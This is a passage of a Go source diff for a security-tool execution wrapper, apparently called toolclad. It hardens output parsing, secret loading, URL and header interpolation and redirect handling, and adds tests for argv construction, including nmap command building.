format := "text" + var schema any = map[string]any{"type": "object"} + if m.Output != nil { + format = m.Output.Format + if len(m.Output.Schema) > 0 { + schema = m.Output.Schema + } + } + results, err := parseOutput(format, raw) + if err != nil { + env.Status = "parse_error" + env.Error = err.Error() + env.Results = map[string]any{"parse_error": err.Error(), "raw_output": string(raw)} + return + } + if err := ValidateSchema(schema, results); err != nil { + env.Status = "schema_error" + env.Error = err.Error() + env.Results = map[string]any{"schema_error": err.Error(), "raw_output": string(raw)} + return + } + env.Results = results +} + +// captureOutput writes captured stdout to path. When a regular file is +// already there the tool produced it, and it is kept as is; a symlink (or +// anything else) is refused. +func captureOutput(path string, data []byte) error { + err := writeEvidenceFile(path, data) + if err == nil { + return nil + } + if errors.Is(err, os.ErrExist) { + if fi, lerr := os.Lstat(path); lerr == nil && fi.Mode().IsRegular() { + return nil + } + } + return fmt.Errorf("refusing to write evidence file '%s': %w", path, err) +} + // parseOutput converts raw command output based on the declared format. +// The result is always an object: jsonl and csv as {"parsed_output": [...]}, +// text as {"raw_output": "..."}, a JSON object as itself and any other JSON +// value as {"parsed_output": value}. JSON numbers are kept exact +// (json.Number). func parseOutput(format string, data []byte) (map[string]any, error) { switch format { case "json": - var result map[string]any - if err := json.Unmarshal(data, &result); err != nil { + dec := json.NewDecoder(bytes.NewReader(data)) + dec.UseNumber() + var v any + if err := dec.Decode(&v); err != nil { return nil, fmt.Errorf("parsing JSON output: %w", err) } - return result, nil + if _, err := dec.Token(); err != io.EOF { + return nil, fmt.Errorf("parsing JSON output: trailing data after the JSON value") + } + if obj, ok := v.(map[string]any); ok { + return obj, nil + } + return map[string]any{"parsed_output": v}, nil case "jsonl": lines := strings.Split(strings.TrimSpace(string(data)), "\n") - var parsed []any + parsed := []any{} for _, line := range lines { line = strings.TrimSpace(line) if line == "" { continue } + dec := json.NewDecoder(strings.NewReader(line)) + dec.UseNumber() var obj any - if err := json.Unmarshal([]byte(line), &obj); err != nil { + if err := dec.Decode(&obj); err != nil { return nil, fmt.Errorf("parsing JSONL line: %w", err) } + if _, err := dec.Token(); err != io.EOF { + return nil, fmt.Errorf("parsing JSONL line: trailing data after the JSON value") + } parsed = append(parsed, obj) } return map[string]any{"parsed_output": parsed}, nil @@ -354,16 +958,24 @@ func parseOutput(format string, data []byte) (map[string]any, error) { return parseCsvOutput(data), nil case "xml": + if xmlHasDeclarations(data) { + return nil, errors.New("XML output contains a DOCTYPE or ENTITY declaration; refusing to parse") + } return parseXmlOutput(data), nil - case "text", "": - return map[string]any{"raw_output": string(data)}, nil - default: return map[string]any{"raw_output": string(data)}, nil } } +// xmlHasDeclarations reports whether XML output carries a DOCTYPE or ENTITY +// declaration anywhere (case-insensitive). Such output is refused before +// parsing rather than given to any entity-aware parser. +func xmlHasDeclarations(data []byte) bool { + lower := bytes.ToLower(data) + return bytes.Contains(lower, []byte(" env vars. -func injectTemplateVars(template string) (string, error) { - var missingErr error +// secretSource resolves {_secret:name} values for one call. The file named +// by TOOLCLAD_SECRETS_FILE is read at most once per source, on first use. +type secretSource struct { + loaded bool + file map[string]string + err error +} + +// loadSecretsFile reads TOOLCLAD_SECRETS_FILE: a TOML file of top-level +// name = "value" pairs. It is refused when group or others can read it, +// which is what makes it better than an environment variable. An unset +// variable yields no file secrets. +func loadSecretsFile() (map[string]string, error) { + path := os.Getenv("TOOLCLAD_SECRETS_FILE") + if path == "" { + return nil, nil + } + fi, err := os.Stat(path) + if err != nil { + return nil, fmt.Errorf("TOOLCLAD_SECRETS_FILE '%s': %w", path, err) + } + if mode := fi.Mode().Perm(); mode&0o077 != 0 { + return nil, fmt.Errorf( + "TOOLCLAD_SECRETS_FILE '%s' is readable by group or others (mode %04o); chmod 600 it", path, mode) + } + data, err := os.ReadFile(path) + if err != nil { + return nil, fmt.Errorf("TOOLCLAD_SECRETS_FILE '%s': %w", path, err) + } + var raw map[string]any + if err := toml.Unmarshal(data, &raw); err != nil { + return nil, fmt.Errorf("TOOLCLAD_SECRETS_FILE '%s': %w", path, err) + } + out := make(map[string]string, len(raw)) + for k, v := range raw { + sv, ok := v.(string) + if !ok { + return nil, fmt.Errorf("TOOLCLAD_SECRETS_FILE '%s': value of '%s' must be a string", path, k) + } + out[k] = sv + } + return out, nil +} + +// lookup returns the secret for name: the secrets file wins over +// TOOLCLAD_SECRET_. An empty value counts as missing. +func (s *secretSource) lookup(name string) (string, error) { + if !s.loaded { + s.file, s.err = loadSecretsFile() + s.loaded = true + } + if s.err != nil { + return "", s.err + } + if v := s.file[name]; v != "" { + return v, nil + } + envKey := "TOOLCLAD_SECRET_" + strings.ToUpper(name) + if v := os.Getenv(envKey); v != "" { + return v, nil + } + return "", fmt.Errorf("missing environment variable: %s (and no '%s' in TOOLCLAD_SECRETS_FILE)", envKey, name) +} + +// expand replaces each {_secret:name} in template with its value. +func (s *secretSource) expand(template string) (string, error) { + var firstErr error result := secretPattern.ReplaceAllStringFunc(template, func(match string) string { sub := secretPattern.FindStringSubmatch(match) if len(sub) < 2 { return match } - envKey := "TOOLCLAD_SECRET_" + strings.ToUpper(sub[1]) - val := os.Getenv(envKey) - if val == "" { - missingErr = fmt.Errorf("missing environment variable: %s", envKey) + val, err := s.lookup(sub[1]) + if err != nil { + if firstErr == nil { + firstErr = err + } return match } return val }) - if missingErr != nil { - return "", missingErr + if firstErr != nil { + return "", firstErr } return result, nil } -// interpolateString replaces {key} placeholders with values from the context map. +// injectTemplateVars replaces {_secret:name} with its value from +// TOOLCLAD_SECRETS_FILE or TOOLCLAD_SECRET_. +func injectTemplateVars(template string) (string, error) { + return (&secretSource{}).expand(template) +} + +// interpolateString replaces {key} placeholders with values from the +// context map, unencoded. func interpolateString(template string, ctx map[string]string) string { - result := template - for k, v := range ctx { - result = strings.ReplaceAll(result, "{"+k+"}", v) - } - return result + return interpolateWith(template, ctx, func(v string, _ int) string { return v }) } -// ExecuteHTTP performs an HTTP request based on the manifest's [http] section. -func ExecuteHTTP(m *manifest.Manifest, args map[string]string) (*EvidenceEnvelope, error) { - if m.Http == nil || m.Http.URL == "" { - return nil, fmt.Errorf("manifest %q has no [http] section or http.url", m.Tool.Name) +// interpolateWith replaces each {key} naming an entry of ctx with +// encode(value, offset), offset being the placeholder's position in +// template. Unknown placeholders are left as written. The template is +// scanned once, so substituted text is never rescanned. +func interpolateWith(template string, ctx map[string]string, encode func(v string, offset int) string) string { + var b strings.Builder + i := 0 + for i < len(template) { + if template[i] == '{' { + if end := strings.IndexByte(template[i+1:], '}'); end >= 0 { + name := template[i+1 : i+1+end] + if v, ok := ctx[name]; ok { + b.WriteString(encode(v, i)) + i += end + 2 + continue + } + } + } + b.WriteByte(template[i]) + i++ } + return b.String() +} - start := time.Now() - scanID := fmt.Sprintf("%d-%d", start.Unix(), start.UnixNano()%100000) - - // Validate args - cleaned := make(map[string]string) - for name, argDef := range m.Args { - val, provided := args[name] - if !provided { - if argDef.Required { - return nil, fmt.Errorf("missing required argument: %q", name) - } - if argDef.Default != nil { - val = fmt.Sprintf("%v", argDef.Default) - } else { - continue - } +// interpolateURL interpolates validated values into an expanded http.url, +// percent-encoding each by position: before the first "?" (or "#") as one +// path segment, after it as a query value. "/", "?", "#", "%", "&" and "=" +// in a value therefore can never change the URL's structure, and a value of +// "." or ".." is encoded so it cannot act as a dot segment. The scheme and +// host never hold a placeholder (refused at load by CheckHTTP). +func interpolateURL(template string, ctx map[string]string) string { + queryAt := strings.IndexAny(template, "?#") + return interpolateWith(template, ctx, func(v string, offset int) string { + if queryAt >= 0 && offset > queryAt { + return url.QueryEscape(v) } - validated, err := validator.ValidateArg(argDef, val) - if err != nil { - return nil, fmt.Errorf("argument %q: %w", name, err) + switch v { + case ".": + return "%2E" + case "..": + return "%2E%2E" } - cleaned[name] = validated - } + return url.PathEscape(v) + }) +} + +// jsonEscapeString returns v as the inside of a JSON string literal. +func jsonEscapeString(v string) string { + var buf bytes.Buffer + enc := json.NewEncoder(&buf) + enc.SetEscapeHTML(false) + _ = enc.Encode(v) // encoding a string cannot fail + out := strings.TrimSuffix(buf.String(), "\n") + return out[1 : len(out)-1] +} - // Interpolate URL - url := interpolateString(m.Http.URL, cleaned) - url, err := injectTemplateVars(url) +// buildHTTPRequest assembles the request for an [http] manifest from +// already-validated arguments without sending it. In the URL, every header +// value and the body template, {_secret:name} references in the manifest +// template are expanded FIRST and argument values interpolated afterwards, +// so a validated argument can never introduce a secret reference of its +// own. Values are percent-encoded by position in the URL and JSON-escaped +// in the body; an assembled header value containing CR or LF is refused. +func buildHTTPRequest(m *manifest.Manifest, cleaned map[string]string) (*http.Request, error) { + // One source per request: the secrets file is read at most once. + secrets := &secretSource{} + urlTemplate, err := secrets.expand(m.Http.URL) if err != nil { return nil, err } + target := interpolateURL(urlTemplate, cleaned) - // Interpolate headers headers := make(map[string]string) for k, v := range m.Http.Headers { - hv := interpolateString(v, cleaned) - hv, err := injectTemplateVars(hv) + withSecrets, err := secrets.expand(v) if err != nil { return nil, err } + hv := interpolateString(withSecrets, cleaned) + if strings.ContainsAny(hv, "\r\n") { + return nil, fmt.Errorf("http header '%s' contains a CR or LF after interpolation", k) + } headers[k] = hv } - // Interpolate body method := strings.ToUpper(m.Http.Method) if method == "" { method = "GET" } var bodyReader io.Reader if m.Http.BodyTemplate != "" && method != "GET" && method != "HEAD" { - body := interpolateString(m.Http.BodyTemplate, cleaned) - body, err = injectTemplateVars(body) + withSecrets, err := secrets.expand(m.Http.BodyTemplate) if err != nil { return nil, err } + body := interpolateWith(withSecrets, cleaned, func(v string, _ int) string { return jsonEscapeString(v) }) bodyReader = strings.NewReader(body) } - req, err := http.NewRequest(method, url, bodyReader) + req, err := http.NewRequest(method, target, bodyReader) if err != nil { return nil, fmt.Errorf("building HTTP request: %w", err) } for k, v := range headers { req.Header.Set(k, v) } + return req, nil +} + +// prepareDelegated runs the checks shared by the HTTP and MCP backends for +// a manifest that may have been built in memory, validates the arguments +// through validateArgs and consults the gate. +func prepareDelegated(m *manifest.Manifest, args map[string]string, gate Gate) (map[string]string, error) { + if err := checkDeclaredArgs(m, args); err != nil { + return nil, err + } + // Manifests built in memory never passed LoadManifest's checks; run the + // egress lint (an [http] backend is always egress) and the [output] and + // [http] load rules here. + if err := m.LintEgress(nil); err != nil { + return nil, err + } + if err := m.CheckOutput(); err != nil { + return nil, err + } + if err := m.CheckHTTP(); err != nil { + return nil, err + } + cleaned, err := validateArgs(m, args, false) + if err != nil { + return nil, err + } + if err := consultGate(gate, m, cleaned); err != nil { + return nil, err + } + return cleaned, nil +} + +// ExecuteHTTP performs an HTTP request based on the manifest's [http] +// section, after consulting DefaultGate. Use ExecuteWithGate to supply a +// different gate. +func ExecuteHTTP(m *manifest.Manifest, args map[string]string) (*EvidenceEnvelope, error) { + return executeHTTP(m, args, DefaultGate) +} + +func executeHTTP(m *manifest.Manifest, args map[string]string, gate Gate) (*EvidenceEnvelope, error) { + if m.Http == nil || m.Http.URL == "" { + return nil, fmt.Errorf("manifest %q has no [http] section or http.url", m.Tool.Name) + } + cleaned, err := prepareDelegated(m, args, gate) + if err != nil { + return nil, err + } + + start := time.Now() + scanID := newScanID(start) + + req, err := buildHTTPRequest(m, cleaned) + if err != nil { + return nil, err + } + method := req.Method + // The declared request, placeholders and {_secret:...} intact. + cmdStr := method + " " + m.Http.URL timeout := time.Duration(m.Tool.TimeoutSeconds) * time.Second if timeout == 0 { timeout = 60 * time.Second } - client := &http.Client{Timeout: timeout} + client := &http.Client{ + Timeout: timeout, + // Redirects are never followed: an allowed host could otherwise + // send the request on to an internal address unchecked. + CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }, + } resp, err := client.Do(req) if err != nil { @@ -695,46 +1474,63 @@ func ExecuteHTTP(m *manifest.Manifest, args map[string]string) (*EvidenceEnvelop Status: "error", ScanID: scanID, Tool: m.Tool.Name, + Command: cmdStr, Timestamp: start.UTC().Format(time.RFC3339), Error: err.Error(), }, err } defer resp.Body.Close() - respBody, err := io.ReadAll(resp.Body) + limit := outputLimit(m) + respBody, err := io.ReadAll(io.LimitReader(resp.Body, limit+1)) if err != nil { return nil, fmt.Errorf("reading response body: %w", err) } + truncated := int64(len(respBody)) > limit + if truncated { + respBody = respBody[:limit] + } duration := time.Since(start) hash := sha256.Sum256(respBody) - successStatus := m.Http.SuccessStatus - if len(successStatus) == 0 { - successStatus = []int{200, 201, 202, 204} - } - isSuccess := false - for _, s := range successStatus { - if resp.StatusCode == s { - isSuccess = true - break - } - } - envelope := &EvidenceEnvelope{ ScanID: scanID, Tool: m.Tool.Name, + Command: cmdStr, DurationMs: duration.Milliseconds(), Timestamp: start.UTC().Format(time.RFC3339), OutputHash: fmt.Sprintf("sha256:%x", hash), ExitCode: resp.StatusCode, + Truncated: truncated, Results: map[string]any{ "raw_output": string(respBody), }, } + if resp.StatusCode >= 300 && resp.StatusCode < 400 { + loc := resp.Header.Get("Location") + envelope.Status = "redirect_blocked" + envelope.Error = fmt.Sprintf("HTTP %d redirect not followed (Location: %s)", resp.StatusCode, loc) + envelope.Results = map[string]any{"location": loc, "raw_output": string(respBody)} + return envelope, nil + } + + successStatus := m.Http.SuccessStatus + if len(successStatus) == 0 { + successStatus = []int{200, 201, 202, 204} + } + isSuccess := false + for _, s := range successStatus { + if resp.StatusCode == s { + isSuccess = true + break + } + } + if isSuccess { envelope.Status = "success" + applyResults(envelope, m, respBody) } else { envelope.Status = "error" body := string(respBody) @@ -747,35 +1543,24 @@ func ExecuteHTTP(m *manifest.Manifest, args map[string]string) (*EvidenceEnvelop return envelope, nil } -// ExecuteMCP performs field mapping and returns a delegated envelope for MCP proxy. +// ExecuteMCP performs field mapping and returns a delegated envelope for MCP +// proxy, after consulting DefaultGate. Use ExecuteWithGate to supply a +// different gate. func ExecuteMCP(m *manifest.Manifest, args map[string]string) (*EvidenceEnvelope, error) { + return executeMCP(m, args, DefaultGate) +} + +func executeMCP(m *manifest.Manifest, args map[string]string, gate Gate) (*EvidenceEnvelope, error) { if m.Mcp == nil || m.Mcp.Server == "" || m.Mcp.Tool == "" { return nil, fmt.Errorf("manifest %q has no [mcp] section or mcp.server/mcp.tool", m.Tool.Name) } + cleaned, err := prepareDelegated(m, args, gate) + if err != nil { + return nil, err + } start := time.Now() - scanID := fmt.Sprintf("%d-%d", start.Unix(), start.UnixNano()%100000) - - // Validate args - cleaned := make(map[string]string) - for name, argDef := range m.Args { - val, provided := args[name] - if !provided { - if argDef.Required { - return nil, fmt.Errorf("missing required argument: %q", name) - } - if argDef.Default != nil { - val = fmt.Sprintf("%v", argDef.Default) - } else { - continue - } - } - validated, err := validator.ValidateArg(argDef, val) - if err != nil { - return nil, fmt.Errorf("argument %q: %w", name, err) - } - cleaned[name] = validated - } + scanID := newScanID(start) // Apply field_map mappedArgs := make(map[string]any) @@ -795,6 +1580,7 @@ func ExecuteMCP(m *manifest.Manifest, args map[string]string) (*EvidenceEnvelope Status: "delegation_preview", ScanID: scanID, Tool: m.Tool.Name, + Command: "mcp://" + m.Mcp.Server + "/" + m.Mcp.Tool, Timestamp: start.UTC().Format(time.RFC3339), Results: map[string]any{ "mcp_server": m.Mcp.Server, @@ -810,8 +1596,9 @@ func GenerateMCPSchema(m *manifest.Manifest) map[string]any { var required []string for _, arg := range m.ArgsSorted() { - prop := mcpTypeConstraints(arg.Type) - if arg.Type == "number" { + // A custom type is described by its base type. + prop := mcpTypeConstraints(m.BaseType(arg.Type)) + if m.BaseType(arg.Type) == "number" { if arg.MinFloat != nil { prop["minimum"] = *arg.MinFloat } diff --git a/go/pkg/executor/executor_test.go b/go/pkg/executor/executor_test.go index 97ab744..7ae94d2 100644 --- a/go/pkg/executor/executor_test.go +++ b/go/pkg/executor/executor_test.go @@ -2,9 +2,12 @@ package executor import ( "encoding/json" + "io" "net/http" "net/http/httptest" "os" + "path/filepath" + "reflect" "strings" "testing" @@ -46,10 +49,11 @@ func TestBuildCommand(t *testing.T) { Tool: manifest.ToolMeta{Name: "nmap"}, Args: map[string]*manifest.ArgDef{ "target": { - Name: "target", - Position: 1, - Required: true, - Type: "scope_target", + Name: "target", + Position: 1, + Required: true, + Type: "scope_target", + BlockInternal: true, // required: nmap is an egress binary }, }, Command: manifest.CommandDef{ @@ -59,8 +63,8 @@ func TestBuildCommand(t *testing.T) { }, }, }, - args: map[string]string{"target": "10.0.0.1"}, - want: "nmap --max-rate 1000 10.0.0.1", + args: map[string]string{"target": "93.184.216.34"}, + want: "nmap --max-rate 1000 93.184.216.34", }, { name: "template with mappings", @@ -68,10 +72,11 @@ func TestBuildCommand(t *testing.T) { Tool: manifest.ToolMeta{Name: "nmap"}, Args: map[string]*manifest.ArgDef{ "target": { - Name: "target", - Position: 1, - Required: true, - Type: "scope_target", + Name: "target", + Position: 1, + Required: true, + Type: "scope_target", + BlockInternal: true, // required: nmap is an egress binary }, "scan_type": { Name: "scan_type", @@ -82,7 +87,9 @@ func TestBuildCommand(t *testing.T) { }, }, Command: manifest.CommandDef{ - Template: "nmap {_scan_flags} {target}", + // Mapping variables use the unified __flags + // name; the old __flags alias is gone. + Template: "nmap {_scan_type_flags} {target}", Mappings: map[string]map[string]string{ "scan_type": { "ping": "-sn -PE", @@ -92,8 +99,8 @@ func TestBuildCommand(t *testing.T) { }, }, }, - args: map[string]string{"target": "10.0.0.1", "scan_type": "service"}, - want: "nmap -sT -sV 10.0.0.1", + args: map[string]string{"target": "93.184.216.34", "scan_type": "service"}, + want: "nmap -sT -sV 93.184.216.34", }, { name: "missing required arg", @@ -439,6 +446,9 @@ func TestExecuteMCP(t *testing.T) { if env.Status != "delegation_preview" { t.Errorf("expected status 'delegation_preview', got %q", env.Status) } + if env.Command != "mcp://mcp://security-tools.example.com/remote_scan" { + t.Errorf("envelope command must be mcp:///, got %q", env.Command) + } if env.Results["mcp_server"] != "mcp://security-tools.example.com" { t.Errorf("unexpected mcp_server: %v", env.Results["mcp_server"]) } @@ -501,3 +511,613 @@ func TestExecuteMCPMissingSection(t *testing.T) { t.Error("expected error for missing mcp section") } } + +func assertArgv(t *testing.T, got, want []string) { + t.Helper() + if !reflect.DeepEqual(got, want) { + t.Fatalf("argv = %q, want %q", got, want) + } +} + +func TestMappingAliasRemoved(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{ + "scan_type": {Name: "scan_type", Required: true, Type: "enum", Allowed: []string{"syn"}}, + }, + Command: manifest.CommandDef{ + Exec: []string{"echo", "{_scan_flags}"}, + Mappings: map[string]map[string]string{"scan_type": {"syn": "-sS"}}, + }, + } + _, err := BuildCommandArgv(m, map[string]string{"scan_type": "syn"}) + if err == nil || !strings.Contains(err.Error(), "unresolved placeholder '{_scan_flags}'") { + t.Fatalf("expected unresolved placeholder for removed alias, got %v", err) + } +} + +func TestMappingSplicesTokens(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{ + "target": {Name: "target", Required: true, Type: "scope_target"}, + "scan_type": {Name: "scan_type", Required: true, Type: "enum", Allowed: []string{"ping", "syn"}}, + }, + Command: manifest.CommandDef{ + Exec: []string{"echo", "{_scan_type_flags}", "{target}"}, + Mappings: map[string]map[string]string{"scan_type": {"ping": "-sn -PE", "syn": "-sS"}}, + }, + } + argv, err := BuildCommandArgv(m, map[string]string{"target": "10.0.0.1", "scan_type": "ping"}) + if err != nil { + t.Fatal(err) + } + assertArgv(t, argv, []string{"echo", "-sn", "-PE", "10.0.0.1"}) +} + +// A value containing whitespace, permitted via allow_whitespace on a +// declared exec array, stays exactly one argv element. +func TestWhitespaceValueIsOneArgvElement(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{ + "msg": {Name: "msg", Required: true, Type: "string", AllowWhitespace: true}, + }, + Command: manifest.CommandDef{ + Exec: []string{"echo", "{msg}", "tail"}, + ExecWasDeclared: true, + }, + } + argv, err := BuildCommandArgv(m, map[string]string{"msg": "hello big world"}) + if err != nil { + t.Fatal(err) + } + assertArgv(t, argv, []string{"echo", "hello big world", "tail"}) + + // Embedded in literal text the token is still never re-split. + m.Command.Exec = []string{"echo", "--msg={msg}"} + argv, err = BuildCommandArgv(m, map[string]string{"msg": "hello big world"}) + if err != nil { + t.Fatal(err) + } + assertArgv(t, argv, []string{"echo", "--msg=hello big world"}) +} + +// allow_whitespace is not honored for a template that was compiled to exec. +func TestWhitespaceRejectedInTemplateMode(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{ + "msg": {Name: "msg", Required: true, Type: "string", AllowWhitespace: true}, + }, + Command: manifest.CommandDef{Template: "echo {msg}"}, + } + _, err := BuildCommandArgv(m, map[string]string{"msg": "hello world"}) + if err == nil || !strings.Contains(err.Error(), "must not contain whitespace") { + t.Fatalf("expected whitespace rejection in template mode, got %v", err) + } +} + +func TestEndOfOptionsInsertedBeforeFirstUserArg(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{ + "target": {Name: "target", Required: true, Type: "scope_target"}, + "extra": {Name: "extra", Required: false, Type: "string"}, + }, + Command: manifest.CommandDef{ + Exec: []string{"echo", "--level", "{level}", "{target}", "{extra}"}, + Defaults: map[string]any{"level": 3}, + EndOfOptions: "--", + }, + } + argv, err := BuildCommandArgv(m, map[string]string{"target": "example.com", "extra": "foo"}) + if err != nil { + t.Fatal(err) + } + // `--` goes before the first user-arg token, not before the default, + // and is inserted only once. + assertArgv(t, argv, []string{"echo", "--level", "3", "--", "example.com", "foo"}) + + // A dropped (empty) first user arg does not consume the insertion. + m.Command.Exec = []string{"echo", "{extra}", "{target}"} + argv, err = BuildCommandArgv(m, map[string]string{"target": "example.com"}) + if err != nil { + t.Fatal(err) + } + assertArgv(t, argv, []string{"echo", "--", "example.com"}) + + // No user-arg token at all: nothing is inserted. + m.Command.Exec = []string{"echo", "{level}"} + argv, err = BuildCommandArgv(m, map[string]string{"target": "example.com"}) + if err != nil { + t.Fatal(err) + } + assertArgv(t, argv, []string{"echo", "3"}) +} + +func TestConditionalsEvaluateAndSplice(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{ + "headers": {Name: "headers", Required: false, Type: "string", AllowWhitespace: true}, + "url": {Name: "url", Required: true, Type: "url"}, + }, + Command: manifest.CommandDef{ + Exec: []string{"echo", "-s", "{_header_flags}", "{url}"}, + ExecWasDeclared: true, + Conditionals: map[string]manifest.ConditionalDef{ + "header_flags": {When: "headers != ''", Template: "-H {headers}"}, + }, + }, + } + // True: the conditional's tokens are substituted individually and + // spliced; the header value with a space stays one element. + argv, err := BuildCommandArgv(m, map[string]string{"headers": "X-Trace: abc", "url": "https://example.com/"}) + if err != nil { + t.Fatal(err) + } + assertArgv(t, argv, []string{"echo", "-s", "-H", "X-Trace: abc", "https://example.com/"}) + + // False: the conditional contributes nothing. + argv, err = BuildCommandArgv(m, map[string]string{"url": "https://example.com/"}) + if err != nil { + t.Fatal(err) + } + assertArgv(t, argv, []string{"echo", "-s", "https://example.com/"}) +} + +func TestConditionalLiteralComparison(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{ + "max_rate": {Name: "max_rate", Required: false, Type: "integer", Default: 100}, + }, + Command: manifest.CommandDef{ + Exec: []string{"echo", "{_rate_flag}"}, + Conditionals: map[string]manifest.ConditionalDef{ + "rate_flag": {When: "max_rate != '100'", Template: "-maxrate {max_rate}"}, + }, + }, + } + argv, err := BuildCommandArgv(m, map[string]string{}) + if err != nil { + t.Fatal(err) + } + assertArgv(t, argv, []string{"echo"}) + + argv, err = BuildCommandArgv(m, map[string]string{"max_rate": "50"}) + if err != nil { + t.Fatal(err) + } + assertArgv(t, argv, []string{"echo", "-maxrate", "50"}) +} + +func TestEvaluateCondition(t *testing.T) { + vars := map[string]string{"a": "1", "b": ""} + cases := []struct { + when string + want bool + }{ + {"a != ''", true}, + {"b != ''", false}, + {"a == ''", false}, + {"b == ''", true}, + {"a == '1'", true}, + {"a == \"1\"", true}, + {"a == 1", true}, + {"a != 1", false}, + {"missing == ''", true}, + {"a != '' and b != ''", false}, + {"a != '' and b == ''", true}, + {"a != '' or b != ''", true}, + {"b != '' or a == ''", false}, + {"a", false}, + {"", false}, + } + for _, c := range cases { + if got := evaluateCondition(c.when, vars); got != c.want { + t.Errorf("evaluateCondition(%q) = %v, want %v", c.when, got, c.want) + } + } +} + +func TestBraceEscapesInArgv(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{ + "msg": {Name: "msg", Required: true, Type: "string"}, + }, + Command: manifest.CommandDef{ + Exec: []string{"echo", "-w", "%{{http_code}}", "{msg}"}, + }, + } + argv, err := BuildCommandArgv(m, map[string]string{"msg": "hi"}) + if err != nil { + t.Fatal(err) + } + assertArgv(t, argv, []string{"echo", "-w", "%{http_code}", "hi"}) +} + +func TestUnresolvedPlaceholderIsBuildError(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Command: manifest.CommandDef{Exec: []string{"echo", "{nope}"}}, + } + _, err := BuildCommandArgv(m, map[string]string{}) + if err == nil || !strings.Contains(err.Error(), "unresolved placeholder '{nope}' in command") { + t.Fatalf("expected unresolved placeholder error, got %v", err) + } +} + +func TestInjectedVars(t *testing.T) { + dir := t.TempDir() + t.Setenv("TOOLCLAD_EVIDENCE_DIR", dir) + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Command: manifest.CommandDef{Exec: []string{"echo", "{_scan_id}", "{_evidence_dir}", "{_output_file}"}}, + } + argv, err := BuildCommandArgv(m, map[string]string{}) + if err != nil { + t.Fatal(err) + } + if len(argv) != 4 { + t.Fatalf("argv = %q, want 4 elements", argv) + } + if argv[1] == "" { + t.Error("_scan_id must be non-empty") + } + if argv[2] != dir { + t.Errorf("_evidence_dir = %q, want %q", argv[2], dir) + } + if want := filepath.Join(dir, argv[1]+"-t", "scan.txt"); argv[3] != want { + t.Errorf("_output_file = %q, want %q", argv[3], want) + } + + t.Setenv("TOOLCLAD_EVIDENCE_DIR", "") + argv, err = BuildCommandArgv(m, map[string]string{}) + if err != nil { + t.Fatal(err) + } + if want := filepath.Join(os.TempDir(), "toolclad-evidence"); argv[2] != want { + t.Errorf("default _evidence_dir = %q, want %q", argv[2], want) + } +} + +func TestEmptyOptionalPlaceholderDropped(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{ + "opt": {Name: "opt", Required: false, Type: "string"}, + }, + Command: manifest.CommandDef{Exec: []string{"echo", "{opt}", "--prefix={opt}", "end"}}, + } + argv, err := BuildCommandArgv(m, map[string]string{}) + if err != nil { + t.Fatal(err) + } + // The sole-placeholder token is dropped; the embedded one keeps its + // surrounding literal text. + assertArgv(t, argv, []string{"echo", "--prefix=", "end"}) +} + +// The exec array form runs end to end (it used to fail before argv was built +// from the canonical exec form). +func TestExecuteExecArray(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "echo_exec", TimeoutSeconds: 5}, + Args: map[string]*manifest.ArgDef{ + "msg": {Name: "msg", Required: true, Type: "string", AllowWhitespace: true}, + }, + Command: manifest.CommandDef{ + Exec: []string{"echo", "{msg}"}, + ExecWasDeclared: true, + }, + Output: &manifest.OutputDef{Format: "text"}, + } + env, err := Execute(m, map[string]string{"msg": "hello there"}) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if env.Status != "success" { + t.Fatalf("status = %q (error: %s)", env.Status, env.Error) + } + raw, _ := env.Results["raw_output"].(string) + if strings.TrimSpace(raw) != "hello there" { + t.Errorf("raw_output = %q", raw) + } + // The executed envelope carries the declared command, not the resolved + // argv (the dry run keeps that). + if env.Command != "echo {msg}" { + t.Errorf("envelope command = %q", env.Command) + } +} + +func TestFormatArgv(t *testing.T) { + got := FormatArgv([]string{"echo", "plain", "has space", "it's", ""}) + want := `echo plain 'has space' 'it'\''s' ''` + if got != want { + t.Errorf("FormatArgv = %q, want %q", got, want) + } +} + +func TestMissingMappingIsBuildError(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{ + "mode": {Name: "mode", Required: true, Type: "string"}, + }, + Command: manifest.CommandDef{ + Exec: []string{"echo", "{_mode_flags}"}, + Mappings: map[string]map[string]string{"mode": {"fast": "-T4"}}, + }, + } + _, err := BuildCommandArgv(m, map[string]string{"mode": "slow"}) + want := "no mapping for argument 'mode' value 'slow' in [command.mappings.mode]" + if err == nil || !strings.Contains(err.Error(), want) { + t.Fatalf("expected %q, got %v", want, err) + } +} + +func TestMappingToEmptyStringMeansNoFlags(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{ + "mode": {Name: "mode", Required: true, Type: "enum", Allowed: []string{"fast", "plain"}}, + }, + Command: manifest.CommandDef{ + Exec: []string{"echo", "{_mode_flags}", "end"}, + Mappings: map[string]map[string]string{"mode": {"fast": "-T4", "plain": ""}}, + }, + } + argv, err := BuildCommandArgv(m, map[string]string{"mode": "plain"}) + if err != nil { + t.Fatal(err) + } + assertArgv(t, argv, []string{"echo", "end"}) +} + +func TestAbsentOptionalMappedArgContributesNothing(t *testing.T) { + m := 